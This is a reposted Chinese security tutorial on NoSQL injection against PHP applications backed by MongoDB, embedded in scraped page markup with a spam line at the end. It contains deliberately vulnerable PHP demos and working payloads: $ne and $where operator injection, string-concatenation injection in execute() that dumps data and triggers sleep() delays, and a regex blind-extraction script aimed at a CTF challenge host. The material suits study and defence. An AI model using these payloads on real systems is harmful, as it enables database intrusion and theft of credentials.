<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/3939

                    0x00 前言


                    關于mongodb的基本安裝運行操作以及php操作mongodb,請參考我以前的文章

                    php下操作mongodb的帖子國內已經有了,但是基于php下注入攻擊mongodb的文章似乎還比較少。本文是筆者在學習、查閱了大量資料后的一些總結,文中涉及的攻擊手法及其知識產權全部歸原作者所有,我只是大自然的搬運工。未征得筆者同意,請勿轉載。

                    0x01 概括


                    php下操作mongodb大致有以下兩種方式

                    1.用mongo類中相應的方法執行增查減改 比如:

                    #!php
                    <?php
                    
                    $mongo = new mongoclient();
                    
                    $db = $mongo->myinfo; //選擇數據庫
                    
                    $coll = $db->test; //選擇集合
                    
                    $coll->save();    //增
                    
                    $coll->find();    //查
                    
                    $coll->remove();    //減
                    
                    $coll->update();    //改
                    

                    此時,傳遞進入的參數是一個數組。

                    2.用execute方法執行字符串 比如:

                    #!php
                    <?php
                    
                    $mongo = new mongoclient();
                    
                    $db = $mongo->myinfo; //選擇數據庫
                    
                    $query = "db.table.save({'newsid':1})";    //增
                    
                    $query = "db.table.find({'newsid':1})";    //查
                    
                    $query = "db.table.remove({'newsid':1})";    //減
                    
                    $query = "db.table.update({'newsid':1},{'newsid',2})";    改
                    
                    $result = $db->execute($query);
                    

                    此時,傳進方法execute的參數就是字符串變量$query

                    特別的,此時的字符串書寫語法為js的書寫語法。

                    對于以上兩種不同執行方式,有不同的注入攻擊方式。

                    0x02 注入攻擊


                    0.在攻擊前,我們需要先建立一個集合,作為攻擊的基礎。

                    enter image description here

                    用戶test是攻擊者已經知道賬號密碼的一個測試賬號,其他賬號的話密碼隨機。想通過注入獲取其他賬號的密碼。

                    1.數組綁定時的注入

                    一個數組綁定的查詢demo如下:

                    #!php
                    <?php
                    $mongo = new mongoclient();
                    $db = $mongo->myinfo; //選擇數據庫
                    $coll = $db->test; //選擇集合
                    $username = $_GET['username'];
                    $password = $_GET['password'];
                    $data = array(
                            'username'=>$username,
                            'password'=>$password
                            );
                    $data = $coll->find($data);
                    $count = $data->count();
                    if ($count>0) {
                        foreach ($data as $user) {
                            echo 'username:'.$user['username']."</br>";
                            echo 'password:'.$user['password']."</br>";
                        }
                    }
                    else{
                        echo '未找到';
                    }
                    ?>
                    

                    enter image description here

                    此時的攻擊利用了php可以傳遞數組參數的一個特性。

                    當傳入的url為:

                    http://127.0.0.1/2.php?username=test&password=test

                    執行了語句:

                    db.test.find({username:'test',password:'test'});

                    如果此時傳入的url如下:

                    http://127.0.0.1/2.php?username[xx]=test&password=test

                    則$username就是一個數組,也就相當于執行了php語句:

                    #!php
                    $data = array(
                    'username'=>array('xx'=>'test'),
                    'password'=>'test');
                    

                    而mongodb對于多維數組的解析使最終執行了如下語句:

                    db.test.find({username:{'xx':'test'},password:'test'});

                    利用此特性,我們可以傳入數據,是數組的鍵名為一個操作符(大于,小于,等于,不等于等等),完成一些攻擊者預期的查詢。

                    如,傳入url:

                    http://127.0.0.1/2.php?username[$ne]=test&password[$ne]=test

                    結果如圖

                    enter image description here

                    因為傳入的鍵名$ne正是一個mongodb操作符,最終執行了語句:

                    db.test.find({username:{'$ne':'test'},password:{'$ne':'test'}});

                    這句話相當于sql:

                    select * from test where username!='test' and password!='test';

                    直接便利出所有集合中的數據。

                    如果此時的用戶名與密碼不能回顯,只是返回一個邏輯上的正誤判斷。

                    那么我們可以采用$regex操作符來一位一位獲取數據。

                    案例演示:http://121.40.86.166:23339/

                    這是hctf中的一道題目。

                    猜測其php代碼大概如下

                    #!php
                    <?php
                    $mongo = new mongoclient();
                    $db = $mongo->myinfo; //選擇數據庫
                    $coll = $db->test; //選擇集合
                    $lock = $_POST['lock'];
                    $key = $_POST['key'];
                    if (is_array($lock)) {
                        $data = array(
                            'lock'=>$lock);
                        $data = $coll->find($data);
                        if ($data->count()>0) {
                            echo 'the lock is right,but wrong key';
                        }else{
                            echo 'lock is wrong';
                        }
                    }else{
                        if ($lock == 'aabbccdd'&&$key=='aabbccdd') {
                            echo 'Your flag is xxxxxxx';
                        }else{
                            echo 'lock is wrong';
                        }
                    }
                    ?>
                    

                    這樣的話,因為只有“正確”或者“錯誤”兩種回顯,我們只能通過正則判斷來一位一位讀取lock的內容了。

                    對于該題的利用payload如下:

                    #!php
                    <?php 
                    $ch=curl_init();
                    curl_setopt($ch,CURLOPT_URL,'http://121.40.86.166:23339/');
                    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
                    curl_setopt($ch,CURLOPT_POST,1);
                    $ori = '0123456789abcdefghijklmnopqrstuvwxyz';
                    $str = '';
                    for ($i=0; $i <10 ; $i++) {
                        for ($j=0; $j <strlen($ori) ; $j++) { 
                            $post = 'key=1&lock[$regex]=^'.$str.$ori[$j];
                            curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
                            $data=curl_exec($ch);
                            if (strlen($data) == 319) {
                               $str.=$ori[$j];
                               echo $str."\r\n";
                               break;
                            }
                        }
                    }
                    ?>
                    

                    結果如圖:

                    enter image description here

                    相當于在數據庫中多次執行查詢:

                    db.test.find({lock:{'$regex':'^a'}}); db.test.find({lock:{'$regex':'^b'}}); db.test.find({lock:{'$regex':'^c'}}); db.test.find({lock:{'$regex':'^ca'}}); …… …… db.test.find({lock:{'$regex':'^aabbccdd'}});

                    最終全部猜出字符串的內容,相似與sql注入中的盲注。

                    2.拼接字符串時的注入

                    因為字符串的拼接方式多種多樣,不同程序員也有不同的書寫習慣。

                    本文中僅舉幾個demo為例。

                    #!php
                    <?php
                    $username = $_GET['username'];
                    $password = $_GET['password'];
                    $query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";
                    //$query = "return db.test.findOne();";
                    //echo $query;
                    $mongo = new mongoclient();
                    $db = $mongo->myinfo;
                    $data = $db->execute($query);
                    if ($data['ok'] == 1) {
                        if ($data['retval']!=NULL) {
                            echo 'username:'.$data['retval']['username']."</br>";
                            echo 'password:'.$data['retval']['password']."</br>";
                        }else{
                            echo '未找到';
                        }
                    }else{
                        echo $data['errmsg'];
                    }
                    ?>
                    

                    攻擊方式:

                    http://127.0.0.1/1.php?username=test'&password=test

                    enter image description here

                    報錯。 想辦法閉合語句。

                    http://127.0.0.1/1.php?username=test'});return {username:1,password:2}//&password=test

                    該語句能返回一個數組,username鍵值是1,password鍵值是2.

                    enter image description here

                    爆mongodb版本

                    http://127.0.0.1/1.php?username=test'});return {username:tojson(db.getCollectionNames()),password:2};//&password=test

                    爆所有集合名

                    PS:因為db.getCollectionNames()返回的是數組,需要用tojson轉換為字符串。并且mongodb函數區分大小寫。

                    enter image description here

                    爆test集合的第一條數據

                    http://127.0.0.1/1.php?username=test'});return {username:tojson(db.test.find()[0]),password:2};//&password=test

                    enter image description here

                    爆test集合的第二條數據

                    enter image description here

                    因為execute方法支持多語句執行,所以可以執行太多語句了,不演示~

                    當然,有時可能遇到沒有輸出返回數據,這時候怎么辦呢?

                    在高版本下,添加了一個函數sleep(),就是時間盲注咯~

                    PS:在高版本下,貌似不能用注釋語句,此外高版本還有一個新特性就是默認開啟錯誤回顯。筆者嘗試沒有注釋成功,只能用閉合的方法。

                    http://127.0.0.1/1.php?username=test'});if (db.version() > "0") { sleep(10000); exit; }var b=({a:'1&password=test

                    enter image description here

                    成功延時了十秒。

                    另一個demo

                    在Mongdb中可以使用$where操作符。相當于sql語句中的where限制語句。mongodb中的$where操作符常常引入一個js的函數來作為限制條件,當js函數中的字符串存在未過濾的用戶輸入時,注入就產生了。

                    放demo:

                    #!php
                    <?php
                    $mongo = new mongoclient();
                    $db = $mongo->myinfo; //選擇數據庫
                    $coll = $db->news; //選擇集合
                    $news = $_GET['news'];
                    $function = "function() {if(this.news == '$news') return true}";
                    echo $function;
                    $result = $coll->find(array('$where'=>$function));
                    if ($result->count()>0) {
                        echo '該新聞存在';
                    }else{
                        echo '該新聞不存在';
                    }
                    ?>
                    

                    為了測試,我建立了兩個集合,一個是news集合,查詢過程中存在注入。另一個是user集合,我們要注入得到其中的數據。

                    代碼中的this.news指的就是表中的news欄(字段),上面的代碼翻譯成sql語句就是:

                    select * from news where news='$news'

                    該demo的注入方式可以參考如下:

                    http://127.0.0.1/3.php?news=test

                    返回正常

                    http://127.0.0.1/3.php?news=test'

                    返回錯誤

                    http://127.0.0.1/3.php?news=test'%26%26'1'=='1

                    返回正常

                    http://127.0.0.1/3.php?news=test'%26%26'1'=='2

                    返回錯誤

                    至此檢測出注入,開始獲取數據。

                    http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames().length>0%26%26'1'=='1

                    返回正常,集合數大于0

                    http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames().length==5%26%26'1'=='1

                    返回正常,集合數等于5

                    enter image description here

                    獲取集合名稱

                    http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames()[0].length==6%26%26'1'=='1

                    返回正常,第一個集合名稱長度為6

                    http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames()[0][0]>'a'%26%26'1'=='1

                    返回正常,第一個集合名稱第一個字符大于a

                    http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames()[0][0]=='m'%26%26'1'=='1

                    返回正常,第一個集合名稱第一個字符為m

                    enter image description here

                    最終可以破解出存在user集合。

                    查user集合中的第一條數據。

                    http://127.0.0.1/3.php?news=test'%26%26tojson(db.user.find()[0])[0]=='{'%26%26'1'=='1

                    因為db.user.find()返回的不是一個字符串,無法取出字符進行比較,我們可以將它轉化成一個json字符串,就可以比較了。 道理講明白了,剩下的都是體力活,用python或者php寫下小腳本就能實現自動化。

                    0x03 Referer


                    http://drops.wooyun.org/papers/850

                    http://webcache.googleusercontent.com/search?q=cache:fPNiwObqKcEJ:hi.baidu.com/d4rkwind/item/ad7b81efb799ce2e6dabb8c3+&cd=1&hl=zh-CN&ct=clnk&gl=cn

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频